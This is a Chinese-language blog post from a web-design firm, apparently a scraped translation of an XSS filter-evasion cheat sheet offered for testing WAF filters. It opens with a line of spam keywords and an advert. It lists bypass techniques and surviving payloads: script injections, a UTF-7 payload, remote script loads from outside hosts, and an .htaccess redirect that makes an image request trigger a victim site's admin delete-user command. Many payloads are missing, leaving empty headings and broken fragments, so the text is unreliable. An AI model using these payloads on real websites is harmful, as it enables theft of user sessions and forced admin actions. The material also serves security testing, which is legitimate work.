真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何繞過(guò)XSS的防護(hù)

今天就跟大家聊聊有關(guān)如何繞過(guò)XSS的防護(hù),可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

創(chuàng)新互聯(lián)成立10年來(lái),這條路我們正越走越好,積累了技術(shù)與客戶資源,形成了良好的口碑。為客戶提供成都網(wǎng)站制作、網(wǎng)站建設(shè)、外貿(mào)網(wǎng)站建設(shè)、網(wǎng)站策劃、網(wǎng)頁(yè)設(shè)計(jì)、域名與空間、網(wǎng)絡(luò)營(yíng)銷、VI設(shè)計(jì)、網(wǎng)站改版、漏洞修補(bǔ)等服務(wù)。網(wǎng)站是否美觀、功能強(qiáng)大、用戶體驗(yàn)好、性價(jià)比高、打開(kāi)快等等,這些對(duì)于網(wǎng)站建設(shè)都非常重要,創(chuàng)新互聯(lián)通過(guò)對(duì)建站技術(shù)性的掌握、對(duì)創(chuàng)意設(shè)計(jì)的研究為客戶提供一站式互聯(lián)網(wǎng)解決方案,攜手廣大客戶,共同發(fā)展進(jìn)步。

下面列出了一系列XSS攻擊,可用于繞過(guò)某些XSS防御filter。針對(duì)輸入進(jìn)行過(guò)濾是不完全是XSS的防御方法,可以使用這些payload來(lái)測(cè)試網(wǎng)站在防護(hù)XSS攻擊方面的能力,希望你的WAF產(chǎn)品能攔截下面所有的payload。

正文

XSS攻擊原理:

攻擊者向有XSS漏洞的網(wǎng)站中置入精心構(gòu)造惡意的HTML代碼,當(dāng)用戶瀏覽該網(wǎng)站時(shí),這段HTML代碼會(huì)自動(dòng)執(zhí)行,從而達(dá)到攻擊的目的。

XSS攻擊可以分成兩種類型:一種是非持久型XSS攻擊 一種是持久型XSS攻擊。

反射型:請(qǐng)求地址上加入惡心的HTML代碼。

如何繞過(guò)XSS的防護(hù)

dom型:api向網(wǎng)站注入一些惡意的HTML代碼

如何繞過(guò)XSS的防護(hù)

持久性:攻擊者把惡意代碼提交到后臺(tái)數(shù)據(jù)庫(kù)中,當(dāng)用戶下次打開(kāi)的時(shí)候就會(huì)從后臺(tái)接收這些惡意的代碼。

如何繞過(guò)XSS的防護(hù)

防范:

    前端通過(guò)轉(zhuǎn)義來(lái)進(jìn)行防范和過(guò)濾

    后端主要是通過(guò)WAF正則+OWASP規(guī)則+XSS語(yǔ)義分析+機(jī)器學(xué)習(xí)payload特征進(jìn)行防衛(wèi)。

普通的XSS JavaScript注入:

很可能會(huì)被過(guò)濾,建議先嘗試一下(現(xiàn)代瀏覽器中都不需要引號(hào),因此此處將其省略)

XSS有效負(fù)載,該測(cè)試將在多個(gè)上下文中執(zhí)行,包括html,腳本字符串,js和url:

javascript:/*-->

使用JavaScript指令的IMG SRC XSS,注: IE7.0在圖像上下文中不支持JavaScript指令,但在其他上下文中支持JavaScript指令:

沒(méi)有引號(hào)也沒(méi)分號(hào)情況:

大小寫(xiě)混淆的 XSS攻擊payload:

HTML實(shí)體,必須使用分號(hào):

同時(shí)使用雙引號(hào)和單引號(hào),則可以使用重音符來(lái)封裝JavaScript字符串,因?yàn)樵S多跨站點(diǎn)腳本過(guò)濾器都不知道重音符:

畸形的a標(biāo)簽,跳過(guò)HREF屬性:

xxs link

Chrome瀏覽器喜歡為替換丟失的引號(hào),Chrome會(huì)將其放在正確的位置,并在URL或腳本上修復(fù)丟失的引號(hào)。

xxs link

格式錯(cuò)誤的IMG標(biāo)簽,封裝在引號(hào)中的IMG標(biāo)簽內(nèi)創(chuàng)建我們的XSS矢量,為了糾正草率的編碼。這將使正確解析HTML標(biāo)記變得更加困難:

">

fromCharCode源字符碼,不允許任何類型的引號(hào),可以在JavaScript中eval()a fromCharCode來(lái)創(chuàng)建所需的XSS向量:

默認(rèn)SRC標(biāo)記可獲取過(guò)去檢查SRC域名的filter,這將繞過(guò)大多數(shù)SRC域過(guò)濾器。在事件方法中插入javascript還將適用于任何使用Form,Iframe,Input,Embed等元素的HTML標(biāo)記類型注入。這還將允許您將標(biāo)記類型的任何相關(guān)事件替換為onblur,onclick從而為您提供大量的這里列出的許多注射的變化:

保留默認(rèn)的SRC標(biāo)簽為空:

Default SRC tag by leaving it out entirely,完全忽略src:

錯(cuò)誤提示 onerror alert:

IMG onerror and javascript alert 編碼:

Decimal HTML character references,十進(jìn)制字符引用,在標(biāo)記內(nèi)使用javascript:指令的所有XSS示例都無(wú)法在Gecko渲染引擎模式下的Firefox或Netscape 8.1+中運(yùn)行):

十進(jìn)制html字符引用,without trailing semicolons,同上+沒(méi)有尾隨分號(hào),這在嘗試查找“&#XX;”的XSS中通常很有效,因?yàn)榇蠖鄶?shù)人都不了解填充-總共最多7個(gè)數(shù)字字符。這對(duì)于使用$ tmp_string =?s /.*\&#(\ d +);。* / $ 1 /;等字符串進(jìn)行解碼的人也很有用。這錯(cuò)誤地假設(shè)需要使用分號(hào)來(lái)終止html編碼的字符串:

十六進(jìn)制html字符引用,without trailing semicolons,不帶尾部分號(hào):

嵌入標(biāo)簽,用于破壞跨站點(diǎn)腳本攻擊:

嵌入編碼標(biāo)簽,用于分解XSS:

嵌入換行分解XSS:

Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details

嵌入carriage返回分解 XSS:

\x0D是十六進(jìn)制,也就是13所對(duì)就在的ASCII碼字符,也就是回車(chē)符

null分解js指令,但是空字符%00更有用,它幫助我繞過(guò)了某些現(xiàn)實(shí)世界的過(guò)濾器:

perl -e 'print "";' > out

XSS圖像中JavaScript之前的空格和元字符:

錯(cuò)誤地假設(shè)引號(hào)和“javascript:”關(guān)鍵字之間不能有空格,則這非常有用。實(shí)際情況是,您可以使用小數(shù)點(diǎn)后1-32之間的任何字符

非字母非數(shù)字XSS:

Firefox HTML解析器假設(shè)非alpha非數(shù)字在HTML關(guān)鍵字后無(wú)效,認(rèn)為它是HTML標(biāo)記后的空白或無(wú)效標(biāo)記。

一些XSS過(guò)濾器假定它們要查找的標(biāo)記被空白分隔開(kāi)。例如“

Gecko呈現(xiàn)引擎允許在事件處理程序和等號(hào)之間使用除字母、數(shù)字或封裝字符(如引號(hào)、尖括號(hào)等)以外的任何字符,從而更容易繞過(guò)跨站點(diǎn)腳本塊。

多余的開(kāi)放括號(hào):

某些檢測(cè)引擎使用成對(duì)的開(kāi)閉尖括號(hào),然后對(duì)標(biāo)簽進(jìn)行比較,

雙斜線注釋了結(jié)束的無(wú)關(guān)括號(hào),以抑制JavaScript錯(cuò)誤。

<

沒(méi)有結(jié)束腳本tag:

在Firefox和Netscape 8.1的Gecko渲染引擎模式下,您實(shí)際上不需要這個(gè)跨站點(diǎn)腳本向量的“>”部分。

Firefox assumes it's safe to close the HTML tag and add closing tags for you。

標(biāo)記,Opera中工作,Netscape在IE呈現(xiàn)模式下工作,,

將自己的JavaScript注入其中,但是服務(wù)器端應(yīng)用程序會(huì)轉(zhuǎn)義某些引號(hào),您可以通過(guò)轉(zhuǎn)義它們的轉(zhuǎn)義字符來(lái)繞過(guò)這些引號(hào)。

當(dāng)它被注入時(shí),它將讀取,最后將取消對(duì)雙引號(hào)的轉(zhuǎn)義,并導(dǎo)致跨站點(diǎn)腳本向量觸發(fā)。

\";alert('XSS');//

如果對(duì)嵌入的數(shù)據(jù)應(yīng)用了正確的JSON或Javascript轉(zhuǎn)義,而不是HTML編碼,則完成腳本塊并啟動(dòng)。

結(jié)束標(biāo)簽tag:

關(guān)閉標(biāo)記的簡(jiǎn)單XSS向量,可以封裝惡意跨站點(diǎn)腳本攻擊。</p><p>

INPUT image:

BODY image:

IMG Dynsrc:

IMG lowsrc:

List-style-image:

處理為項(xiàng)目符號(hào)列表嵌入圖像的相當(dāng)深?yuàn)W的問(wèn)題,這只適用于IE呈現(xiàn)引擎。不是一個(gè)特別有用的跨站點(diǎn)腳本。

  • XSS

    VBscript in an image:

    Livescript(僅限舊版本的Netscape):

    SVG對(duì)象標(biāo)記:

    SVG object tag:

    ECMAScript 6:

    Set.constructor`alert\x28document.domain\x29```

    BODY tag:

    不需要使用“javascript:”或“

    可以在等號(hào)前加一個(gè)空格(“οnlοad=”!=“οnlοad=”)。

    事件句柄:

    FSCommand() (攻擊者可以在嵌入式Flash對(duì)象中執(zhí)行此操作)

    onAbort() (當(dāng)用戶中止加載圖像時(shí))

    onActivate() (當(dāng)對(duì)象設(shè)置為活動(dòng)元素時(shí))

    onAfterPrint() (在用戶打印或預(yù)覽打印作業(yè)后激活)

    onAfterUpdate() (更新源對(duì)象中的數(shù)據(jù)后在數(shù)據(jù)對(duì)象上激活)

    onBeforeActivate() (在對(duì)象設(shè)置為活動(dòng)元素之前激發(fā))

    onBeforeCopy() (攻擊者在將選定內(nèi)容復(fù)制到剪貼板之前執(zhí)行攻擊字符串-攻擊者可以使用execCommand(“Copy”)函數(shù)執(zhí)行此操作)

    onBeforeCut() (攻擊者在剪切選定內(nèi)容之前執(zhí)行攻擊字符串)

    onBeforeDeactivate() (從當(dāng)前對(duì)象更改activeElement后立即激發(fā))

    onBeforeEditFocus() (在可編輯元素中包含的對(duì)象進(jìn)入U(xiǎn)I激活狀態(tài)之前,或在選中可編輯容器對(duì)象時(shí)激發(fā))

    onBeforePaste() (需要誘使用戶粘貼或使用execCommand(“粘貼”)函數(shù)強(qiáng)制用戶粘貼)

    onBeforePrint() (需要誘使用戶進(jìn)行打印,否則攻擊者可以使用print()或execCommand(“print”)函數(shù)).

    onBeforeUnload() (需要誘使用戶關(guān)閉瀏覽器-攻擊者無(wú)法卸載windows,除非它是從父級(jí)派生的)

    onBeforeUpdate() (在更新源對(duì)象中的數(shù)據(jù)之前在數(shù)據(jù)對(duì)象上激活)

    onBegin() (onbegin事件在元素的時(shí)間線開(kāi)始時(shí)立即激發(fā))

    onBlur() (如果加載了另一個(gè)彈出窗口and window looses focus)

    onBounce() (當(dāng)選取框?qū)ο蟮腷ehavior屬性設(shè)置為“alternate”并且選取框的內(nèi)容到達(dá)窗口的一側(cè)時(shí)激發(fā))

    onCellChange() (當(dāng)數(shù)據(jù)提供程序中的數(shù)據(jù)更改時(shí)觸發(fā))

    onChange() (“選擇”、“文本”或“文本區(qū)域”字段失去focus,其值已被修改)

    onClick() (有人點(diǎn)擊表單)

    onContextMenu() (用戶需要鼠標(biāo)右擊攻擊區(qū)域)

    onControlSelect() (當(dāng)用戶要對(duì)對(duì)象進(jìn)行控件選擇時(shí)觸發(fā))

    onCopy() (用戶需要復(fù)制某些內(nèi)容,或者可以使用execCommand(“copy”)命令利用它)

    onCut() (用戶需要復(fù)制某些內(nèi)容,或者可以使用execCommand(“Cut”)命令利用它)

    onDataAvailable() (用戶需要更改元素中的數(shù)據(jù),否則攻擊者可以執(zhí)行相同的功能)

    onDataSetChanged() (當(dāng)數(shù)據(jù)源對(duì)象公開(kāi)的數(shù)據(jù)集更改時(shí)觸發(fā))

    onDataSetComplete() (觸發(fā)以指示數(shù)據(jù)源對(duì)象中的所有數(shù)據(jù)都可用)

    onDblClick() (用戶雙擊表單元素或鏈接)

    onDeactivate() (當(dāng)activeElement從當(dāng)前對(duì)象更改為父文檔中的另一個(gè)對(duì)象時(shí)激發(fā))

    onDrag() (要求用戶拖動(dòng)對(duì)象)

    onDragEnd() (要求用戶拖動(dòng)對(duì)象)

    onDragLeave() (要求用戶將對(duì)象拖離有效位置)

    onDragEnter() (要求用戶將對(duì)象拖到有效位置)

    onDragOver() (要求用戶將對(duì)象拖到有效位置)

    onDragDrop() (用戶將對(duì)象(如文件)放到瀏覽器窗口中)

    onDragStart() (在用戶啟動(dòng)拖動(dòng)操作時(shí)發(fā)生)

    onDrop() (用戶將對(duì)象(如文件)放到瀏覽器窗口中)

    onEnd() (當(dāng)時(shí)間線結(jié)束時(shí),onEnd事件將觸發(fā))

    onError() (加載文檔或圖像會(huì)導(dǎo)致錯(cuò)誤)

    onErrorUpdate() (當(dāng)更新數(shù)據(jù)源對(duì)象中的關(guān)聯(lián)數(shù)據(jù)時(shí)出錯(cuò)時(shí),對(duì)數(shù)據(jù)綁定對(duì)象觸發(fā))

    onFilterChange() (在視覺(jué)篩選器完成狀態(tài)更改時(shí)觸發(fā))

    onFinish() (當(dāng)選取框完成循環(huán)時(shí),攻擊者可以創(chuàng)建攻擊)

    onFocus() (當(dāng)窗口獲得焦點(diǎn)時(shí),攻擊者執(zhí)行攻擊字符串)

    onFocusIn() (當(dāng)窗口獲得焦點(diǎn)時(shí),攻擊者執(zhí)行攻擊字符串)

    onFocusOut() (當(dāng)窗口失去焦點(diǎn)時(shí),攻擊者執(zhí)行攻擊字符串)

    onHashChange() (當(dāng)文檔當(dāng)前地址的片段標(biāo)識(shí)符部分更改時(shí)觸發(fā))

    onHelp() (當(dāng)用戶在窗口處于焦點(diǎn)時(shí)點(diǎn)擊F1時(shí),攻擊者執(zhí)行攻擊字符串)

    onInput() (元素的文本內(nèi)容通過(guò)用戶界面更改)

    onKeyDown() (用戶按下鍵觸發(fā))

    onKeyPress() (用戶按下或按住鍵)

    onKeyUp() (用戶松開(kāi)按鍵)

    onLayoutComplete() (用戶必須打印或打印預(yù)覽)

    onLoad() (攻擊者在窗口加載后執(zhí)行攻擊字符串)

    onLoseCapture() (可被releaseCapture()方法利用)

    onMediaComplete() (當(dāng)使用流媒體文件時(shí),此事件可能在文件開(kāi)始播放之前觸發(fā))

    onMediaError() (用戶在瀏覽器中打開(kāi)包含媒體文件的頁(yè)面,當(dāng)出現(xiàn)問(wèn)題時(shí)觸發(fā)事件)

    onMessage() (當(dāng)文檔收到消息時(shí)觸發(fā))

    onMouseDown() (攻擊者需要讓用戶單擊圖像)

    onMouseEnter() (光標(biāo)在對(duì)象或區(qū)域上移動(dòng))

    onMouseLeave() (攻擊者需要讓用戶將鼠標(biāo)移到圖像或表上,然后再次關(guān)閉)

    onMouseMove() (攻擊者需要讓用戶將鼠標(biāo)移到圖像或表上)

    onMouseOut() (攻擊者需要讓用戶將鼠標(biāo)移到圖像或表上,然后再次關(guān)閉)

    onMouseOver() (光標(biāo)在對(duì)象或區(qū)域上移動(dòng))

    onMouseUp() (攻擊者需要讓用戶單擊圖像)

    onMouseWheel() (攻擊者需要讓用戶使用鼠標(biāo)滾輪)

    onMove() (用戶或攻擊者會(huì)移動(dòng)頁(yè)面)

    onMoveEnd() (用戶或攻擊者會(huì)移動(dòng)頁(yè)面)

    onMoveStart() (用戶或攻擊者會(huì)移動(dòng)頁(yè)面)

    onOffline() (如果瀏覽器在聯(lián)機(jī)模式下工作并且開(kāi)始脫機(jī)工作,則發(fā)生)

    onOnline() (如果瀏覽器在脫機(jī)模式下工作并且開(kāi)始聯(lián)機(jī)工作,則發(fā)生)

    onOutOfSync() (中斷元素播放時(shí)間線定義的媒體的能力)

    onPaste() (用戶需要粘貼或攻擊者可以使用execCommand(“粘貼”)函數(shù))

    onPause() (當(dāng)時(shí)間線暫停時(shí),onpause事件將對(duì)每個(gè)活動(dòng)的元素(包括body元素)觸發(fā))

    onPopState() (當(dāng)用戶導(dǎo)航會(huì)話歷史記錄時(shí)激發(fā))

    onProgress() (攻擊者會(huì)將此用作正在加載的flash電影)

    onPropertyChange() (用戶或攻擊者需要更改元素屬性)

    onReadyStateChange() (用戶或攻擊者需要更改元素屬性)

    onRedo() (用戶在撤消事務(wù)歷史記錄中前進(jìn))

    onRepeat() (事件在時(shí)間線的每次重復(fù)中觸發(fā)一次,第一個(gè)完整周期除外)

    onReset() (用戶或攻擊者重置窗體)

    onResize() (用戶將調(diào)整窗口大??;攻擊者可以使用以下命令自動(dòng)初始化:)

    onResizeEnd() (用戶將調(diào)整窗口大小;攻擊者可以使用以下內(nèi)容自動(dòng)初始化: )

    onResizeStart() (用戶將調(diào)整窗口大??;攻擊者可以使用以下命令自動(dòng)初始化: )

    onResume() (onresume事件對(duì)時(shí)間線恢復(fù)時(shí)變?yōu)榛顒?dòng)的每個(gè)元素(包括body元素)觸發(fā))

    onReverse() (如果元素的repeatCount大于1,則每次時(shí)間線開(kāi)始向后播放時(shí)都會(huì)觸發(fā)此事件)

    onRowsEnter() (用戶或攻擊者需要更改數(shù)據(jù)源中的行)

    onRowExit() (用戶或攻擊者需要更改數(shù)據(jù)源中的行)

    onRowDelete() (用戶或攻擊者需要?jiǎng)h除數(shù)據(jù)源中的行)

    onRowInserted() (用戶或攻擊者需要在數(shù)據(jù)源中插入一行)

    onScroll() (用戶需要滾動(dòng),否則攻擊者可以使用scrollBy()函數(shù))

    onSeek() (onreverse事件在時(shí)間線設(shè)置為沿除forward以外的任何方向播放時(shí)觸發(fā))

    onSelect() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動(dòng)初始化: window.document.execCommand("SelectAll");)

    onSelectionChange() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動(dòng)初始化: window.document.execCommand("SelectAll");)

    onSelectStart() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動(dòng)初始化: window.document.execCommand("SelectAll");)

    onStart() (在每個(gè)選框循環(huán)的開(kāi)始處激發(fā))

    onStop() (用戶需要按下停止按鈕或離開(kāi)網(wǎng)頁(yè))

    onStorage() (存儲(chǔ)區(qū)域已更改)

    onSyncRestored() (用戶中斷元素的播放時(shí)間線定義的媒體的能力)

    onSubmit() (需要攻擊者或用戶提交表單)

    onTimeError() (用戶或攻擊者將時(shí)間屬性(如dur)設(shè)置為無(wú)效值)

    onTrackChange() (用戶或攻擊者更改播放列表中的playlist)

    onUndo() (用戶在撤消事務(wù)歷史記錄中返回)

    onUnload() (當(dāng)用戶單擊任何鏈接或按下后退按鈕時(shí),攻擊者會(huì)強(qiáng)制單擊)

    onURLFlip() (當(dāng)由HTML+TIME(定時(shí)交互式多媒體擴(kuò)展)媒體標(biāo)記播放的高級(jí)流式格式(ASF)文件處理嵌入在ASF文件中的腳本命令時(shí),會(huì)觸發(fā)此事件)

    seekSegmentTime() (這是一個(gè)在元素的段時(shí)間線上定位指定點(diǎn)并從該點(diǎn)開(kāi)始播放的方法。該段由一個(gè)重復(fù)的時(shí)間線組成,包括使用AUTOREVERSE屬性的反向播放。)

    BGSOUND:

    & JavaScript includes:


    STYLE sheet:

    遠(yuǎn)程樣式表Remote style sheet:

    使用像遠(yuǎn)程樣式表這樣簡(jiǎn)單的東西,您可以包括XSS,因?yàn)榭梢允褂们度胧奖磉_(dá)式重新定義樣式參數(shù)。)

    這僅在IE和Netscape 8.1+的IE渲染引擎模式下有效。

    注意:對(duì)于所有這些遠(yuǎn)程樣式表示例,它們都使用body標(biāo)記,因此除非頁(yè)面上有向量本身以外的其他內(nèi)容,否則無(wú)法工作。

    因此,如果頁(yè)面是空白頁(yè)面,則需要向該頁(yè)面添加一個(gè)字母使其工作

    遠(yuǎn)程樣式表Remote style sheet2:

    工作原理與上述相同,但使用標(biāo)記,則可以將其刪除。

    如果在跨站點(diǎn)腳本攻擊中不能有等號(hào)或斜線(在現(xiàn)實(shí)世界中至少出現(xiàn)過(guò)一次),則這非常有用.

    遠(yuǎn)程樣式表Remote style sheet3:

    這只適用于Opera8.0(不再適用于9.x),但相當(dāng)棘手。根據(jù)RFC2616設(shè)置,鏈接頭不是HTTP1.1規(guī)范的一部分,但是一些瀏覽器仍然允許它(比如Firefox和Opera)。

    這里的訣竅是,我設(shè)置了一個(gè)頭(基本上與HTTP頭中的Link:;REL=style sheet沒(méi)什么不同),

    而帶有跨站點(diǎn)腳本向量的遠(yuǎn)程樣式表正在運(yùn)行JavaScript,這在FireFox中是不受支持的。

    遠(yuǎn)程樣式表Remote style sheet4:

    這只適用于Gecko渲染引擎,并通過(guò)將XUL文件綁定到父頁(yè)面來(lái)工作。我認(rèn)為諷刺的是,Netscape認(rèn)為Gecko更安全,因此對(duì)絕大多數(shù)網(wǎng)站來(lái)說(shuō)都很脆弱。

    帶有用于XSS的分解JavaScript的STYLE標(biāo)記STYLE tags with broken up JavaScript for XSS:

    此XSS有時(shí)會(huì)將IE發(fā)送到無(wú)限循環(huán)的警報(bào)中。

    STYLE attribute using a comment to break up expression使用注釋拆分表達(dá)式的STYLE屬性:

    帶表達(dá)式的IMG樣式:

    這實(shí)際上是上述XSS向量的混合,但它確實(shí)顯示了分離樣式標(biāo)記的難度,就像上面所說(shuō)的,這可以將IE發(fā)送到循環(huán)中。

    exp/*

    xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

    STYLE tag (Older versions of Netscape only):

    STYLE tag using background-image:

    STYLE tag using background:

    具有STYLE屬性的匿名HTMLAnonymous HTML with STYLE attribute:

    IE6和Netscape 8.1 +在IE渲染引擎模式中并不真正關(guān)心你構(gòu)建的HTML標(biāo)簽是否存在,只要它從一個(gè)打開(kāi)的角度括號(hào)和一個(gè)字母開(kāi)始.

    Local htc file本地htc文件:

    這與上面兩個(gè)跨站點(diǎn)腳本向量略有不同,因?yàn)樗褂玫?htc文件必須與XSS向量位于同一服務(wù)器上。

    示例文件的工作方式是:拉入JavaScript并將其作為style屬性的一部分運(yùn)行.

    US-ASCII encoding:

    它使用格式錯(cuò)誤的ASCII編碼,使用7位而不是8位。此XSS可以繞過(guò)許多內(nèi)容過(guò)濾器,

    但僅在主機(jī)使用US-ASCII編碼傳輸或您自己設(shè)置編碼時(shí)才起作用。

    這對(duì)于web應(yīng)用程序防火墻跨站點(diǎn)腳本規(guī)避比服務(wù)器端篩選器規(guī)避更有用。

    Apache Tomcat是唯一已知的以US-ASCII編碼傳輸?shù)姆?wù)器。

    ?script?alert(¢XSS¢)?/script?

    META:

    meta-refresh的奇怪之處在于它沒(méi)有在頭中發(fā)送referer,因此它可以用于某些類型的攻擊,在這些攻擊中,您需要?jiǎng)h除引用的url。

    META using data:

    指令URL方案。這很好,因?yàn)樗矝](méi)有任何明顯包含腳本或JavaScript指令的東西,因?yàn)樗褂胋ase64編碼。

    請(qǐng)參閱RFC2397了解更多詳細(xì)信息,或在這里或這里編碼您自己的。如果您只想對(duì)原始HTML或JavaScript進(jìn)行編碼,

    也可以使用下面的XSS計(jì)算器,因?yàn)樗哂蠦ase64編碼方法。

    META with additional URL parameter:

    如果目標(biāo)網(wǎng)站試圖查看URL開(kāi)頭是否包含“http://”。

    IFRAME:

    If iframes are allowed there are a lot of other XSS problems as well。

    IFRAME Event based:

    IFrames和大多數(shù)其他元素可以使用基于事件的mayhem,如下所示。。。

    FRAME:

    Frames have the same sorts of XSS problems as iframes

    TABLE:

    TD:

    正如上面所述,TD很容易受到包含JavaScript XSS向量的背景的攻擊。

    <strike id="wkmow"></strike>
    <ul id="wkmow"><sup id="wkmow"></sup></ul>
      • <ul id="wkmow"><sup id="wkmow"></sup></ul>
      • DIV:

        DIV background-image

        DIV background-image with unicoded XSS exploit:

        這已經(jīng)被稍微修改,以混淆url參數(shù)。

        DIV background-image plus extra characters額外字符:

        在IE和Netscape 8.1中的安全站點(diǎn)模式下,在開(kāi)括號(hào)之后、JavaScript指令之前允許的任何錯(cuò)誤字符。這些是十進(jìn)制的,但是當(dāng)然可以包括十六進(jìn)制和添加填充。

        可以使用以下任何字符:1-32、34、39、160、8192-8.13、12288、65279。

        DIV expression:

        這種方法的一個(gè)變體對(duì)現(xiàn)實(shí)世界中使用冒號(hào)和“表達(dá)式”之間的換行符的跨站點(diǎn)腳本過(guò)濾器是有效的.

        Downlevel-Hidden block:

        僅適用于IE5.0及更高版本,Netscape 8.1適用于IE渲染引擎模式)。有些網(wǎng)站認(rèn)為評(píng)論塊中的任何內(nèi)容都是安全的,因此不需要?jiǎng)h除,這就允許我們使用跨站點(diǎn)腳本。

        或者系統(tǒng)可以在某些東西周?chē)砑幼⑨寴?biāo)記,試圖使其無(wú)害化。如我們所見(jiàn),這可能不起作用.

        BASE tag:

        在IE和Netscape 8.1中以安全模式工作。您需要//來(lái)注釋掉下一個(gè)字符,這樣就不會(huì)出現(xiàn)JavaScript錯(cuò)誤,XSS標(biāo)記將呈現(xiàn)。

        此外,這依賴于網(wǎng)站使用動(dòng)態(tài)放置的圖像,如“images/image.jpg”,而不是完整路徑。

        如果路徑包含一個(gè)前導(dǎo)正斜杠,如“/images/image.jpg”,則可以從該向量中刪除一個(gè)斜杠(只要有兩個(gè)斜杠開(kāi)始注釋,則此操作有效)

        OBJECT tag:

        如果它們?cè)试S對(duì)象,您還可以注入病毒有效負(fù)載以感染用戶等,與APPLET標(biāo)記相同)。鏈接文件實(shí)際上是一個(gè)HTML文件,可以包含您的XSS.

        使用嵌入標(biāo)記可以嵌入包含xss的Flash電影:

        單擊此處進(jìn)行演示。如果添加allowScriptAccess=“never”和allownetworking=“internal”屬性,則可以降低此風(fēng)險(xiǎn).

        EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:

        org/xss.swf" AllowScriptAccess="always">

        You can EMBED SVG which can contain your XSS vector:

        這個(gè)例子只適用于Firefox,但它比Firefox中的上述向量要好,因?yàn)樗恍枰脩舸蜷_(kāi)或安裝Flash。

        在flash中使用ActionScript會(huì)混淆XSS向量:

        a="get";

        b="URL(\"";

        c="javascript:";

        d="alert('XSS');\")";

        eval(a+b+c+d);

        帶有CDATA混淆的XML數(shù)據(jù):

        此XSS攻擊僅在IE渲染引擎模式下的IE和Netscape 8.1中有效.

        使用XML數(shù)據(jù)島生成的嵌入JavaScript的本地托管XML:

        這與上面的相同,但引用的是包含跨站點(diǎn)腳本向量的本地托管(必須位于同一服務(wù)器上)XML文件。

        HTML+TIME in XML:

        這只適用于IE呈現(xiàn)引擎模式下的Internet Explorer和Netscape 8.1,請(qǐng)記住,您需要介于HTML和正文標(biāo)記之間才能工作.

        ">

        假設(shè)您只能容納幾個(gè)字符,并且它會(huì)過(guò)濾“.js”:

        您可以將JavaScript文件重命名為圖像作為XSS向量.

        SSI (Server Side Includes):

        這需要在服務(wù)器上安裝SSI才能使用此XSS向量。我可能不需要提及這一點(diǎn),但如果您可以在服務(wù)器上運(yùn)行命令,無(wú)疑會(huì)出現(xiàn)更嚴(yán)重的問(wèn)題.

        PHP:

        需要在服務(wù)器上安裝PHP才能使用此XSS向量。同樣,如果你能像這樣遠(yuǎn)程運(yùn)行任何腳本,可能會(huì)有更可怕的問(wèn)題.

        echo('IPT>alert("XSS")'); ?>

        IMG Embedded commands:

        當(dāng)插入此內(nèi)容的網(wǎng)頁(yè)(如網(wǎng)頁(yè)板)位于密碼保護(hù)之后,并且密碼保護(hù)與同一域上的其他命令一起工作時(shí),此操作有效。

        這可用于刪除用戶、添加用戶(如果訪問(wèn)該頁(yè)的用戶是管理員)、將憑據(jù)發(fā)送到其他位置等。。。。這是使用較少但更有用的XSS向量之一.

        IMG Embedded commands part II:

        這更可怕,因?yàn)槌怂辉谀约旱挠蛑兄?,沒(méi)有任何標(biāo)識(shí)使它看起來(lái)可疑。

        向量使用302或304(其他也可以)將圖像重定向回命令。

        因此,一個(gè)普通的實(shí)際上可能是一個(gè)攻擊向量,作為查看圖像鏈接的用戶運(yùn)行命令。

        下面是.htaccess(在Apache下)行來(lái)完成向量.

        Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

        Cookie 篡改:

        不可否認(rèn),這是相當(dāng)模糊的,但我看到了幾個(gè)例子,其中

        還有其他一些站點(diǎn)的例子,其中存儲(chǔ)在cookie中的用戶名不是從數(shù)據(jù)庫(kù)中獲取的,而是只顯示給訪問(wèn)頁(yè)面的用戶。

        結(jié)合這兩個(gè)場(chǎng)景,您可以修改受害者的cookie,該cookie將以JavaScript的形式顯示給他們

        (您還可以使用它來(lái)注銷或更改他們的用戶狀態(tài),讓他們以您的身份登錄,等等)。

        UTF-7 encoding:

        如果XSS所在的頁(yè)面沒(méi)有提供頁(yè)面字符集頭,或者任何設(shè)置為UTF-7編碼的瀏覽器都可以使用以下內(nèi)容。

        單擊此處獲取示例(如果用戶的瀏覽器設(shè)置為“自動(dòng)檢測(cè)”,并且在Internet Explorer和IE呈現(xiàn)引擎模式下的Netscape 8.1中沒(méi)有覆蓋頁(yè)面上的內(nèi)容類型,則不需要charset語(yǔ)句)。

        這在任何現(xiàn)代瀏覽器中都無(wú)法工作,除非更改編碼類型,這就是為什么將其標(biāo)記為完全不受支持的原因。Watchfire在Google的自定義404腳本中發(fā)現(xiàn)了這個(gè)漏洞

        +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

        使用HTML引號(hào)封裝的XSS:

        這是IE測(cè)試的,你的里程數(shù)可能會(huì)有所不同。對(duì)于允許“

        用于在允許“

        還有另一個(gè)xs要避開(kāi)同一個(gè)過(guò)濾器,“/\s]+)?)+\s*|\s*)src/i“。

        我知道我說(shuō)過(guò)我不打算討論緩解技術(shù),但是如果您仍然希望允許

        最后一次XSS攻擊是為了躲避,“/\s]+)?)+\s*|\s*)src/i“使用重音符(同樣,在Firefox中不起作用).

        下面是一個(gè)XSS示例,它打賭regex不會(huì)捕獲匹配的一對(duì)引號(hào),而是會(huì)找到任何引號(hào)來(lái)不正確地終止參數(shù)字符串.

        這個(gè)XSS仍然讓我擔(dān)心,因?yàn)槿绻蛔柚顾谢顒?dòng)內(nèi)容,幾乎不可能停止它.

        PT SRC="httx://xss.rocks/xss.js">

        URL字符串規(guī)避類:

        假設(shè)“http://www.google.com/”在語(yǔ)法上是不允許的.

        IP versus hostname:

        XSS

        URL encoding

        XSS

        Dword encoding:

        注意:還有其他的Dword編碼變體-請(qǐng)參閱下面的IP混淆計(jì)算器以了解更多詳細(xì)信息.

        XSS

